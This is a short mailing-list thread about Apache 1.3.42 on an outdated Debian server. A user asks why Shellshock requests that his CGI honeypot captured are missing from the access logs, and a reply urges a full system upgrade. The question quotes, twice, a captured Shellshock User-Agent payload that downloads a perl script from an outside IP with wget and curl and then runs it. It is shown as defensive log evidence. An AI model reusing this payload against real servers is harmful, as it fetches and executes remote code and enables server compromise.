Apache 1.3.42 / debian does not log all requests

[Markus R. Keßler]

Hi everybody,

we are under contract with hoster running Apache 1.3.42 on top of
debian.

When shell shock attacks got popular in October, our so-called "admin"
tried to bugfix his shell. Unfortunately, when trying to patch this
ancient bash 2.05b, he messed something up and from then on, for
instance, CTRL-L (clear screen) doesn't work any more.
But maybe, there's more damage than known.

Now I have to see, that some attacking attempts based on the shell shock
bug, are recorded by a "honey pot" which I once installed.
These are perl scripts within the cgi-bin directory of a virtual server,
which have widely known names like "mail.cgi", but in reality they
collect all environment variables and write them into a logfile,
together with the data the attacker has sent.

In the "honey pot" logfile I see requests like

HTTP_USER_AGENT = () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("rm -rf /tmp/l.pl*;wget http://87.106.189.34/ou.pl -O /tmp/l.pl;curl -O /tmp/l.pl http://87.106.189.34/ou.pl;perl /tmp/l.pl;rm -rf l.pl**");'

but in the apache logs (access_log*) there's no such entry, not even a
grep for the attacker's IP gives me some result.

In my understanding, when such a request is passed to a certain cgi
script, this should be also visible in apache's logs?

Can anyone please give me a hint where to look for this misbehaviour?
Maybe there's just a known configuration issue, so that those requests
are not logged under certain circumstances?

Thanks in advance.

Best regards,

Markus

[Heiko Richter]

Post by Markus R. Keßler
Hi everybody,
we are under contract with hoster running Apache 1.3.42 on top of
debian.
When shell shock attacks got popular in October, our so-called "admin"
tried to bugfix his shell. Unfortunately, when trying to patch this
ancient bash 2.05b, he messed something up and from then on, for
instance, CTRL-L (clear screen) doesn't work any more.
But maybe, there's more damage than known.
Now I have to see, that some attacking attempts based on the shell shock
bug, are recorded by a "honey pot" which I once installed.
These are perl scripts within the cgi-bin directory of a virtual server,
which have widely known names like "mail.cgi", but in reality they
collect all environment variables and write them into a logfile,
together with the data the attacker has sent.
In the "honey pot" logfile I see requests like
HTTP_USER_AGENT = () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("rm -rf /tmp/l.pl*;wget http://87.106.189.34/ou.pl -O /tmp/l.pl;curl -O /tmp/l.pl http://87.106.189.34/ou.pl;perl /tmp/l.pl;rm -rf l.pl**");'
but in the apache logs (access_log*) there's no such entry, not even a
grep for the attacker's IP gives me some result.
In my understanding, when such a request is passed to a certain cgi
script, this should be also visible in apache's logs?
Can anyone please give me a hint where to look for this misbehaviour?
Maybe there's just a known configuration issue, so that those requests
are not logged under certain circumstances?
Thanks in advance.
Best regards,
Markus

Hi Markus!

1. You are running Debian Sarge which has been out-of-service for a
decade.
2. You are running Apache 1.3 which has been out-of-service for
over 5 years.

With 10 years of missing security updates for your operating system and
5 sears of missing security updates for your webserver, are you really
wondering why you have problems???

Taken from the release notes of your apache version, published in
February 2010:
"Apache 1.3.42 is the final stable release of the Apache 1.3 family. We
strongly recommend that users of all earlier versions, including 1.3
family releases, upgrade to to the current 2.2 version as soon as possible."

But there's one upside to your problems. You can overstep Apache 2.2 and
go direcetly to Apache 2.4. ;-)

My advice:
Instead of patching up on of the probably thouthands of gaping security
holes in your system, invest your time into something productive. Do a
system upgrade to Debian Jessie as soon as possible. And as your Debian
has been out-of-service for a decade, please reinstall it und don't just
do the lazy 'apt-get dist-upgrade' !

And another thing:
I don't know how old you server was, wehen you installed it 10 years
ago, but think about a hardware replacement while you are at it....

Yours,
Heiko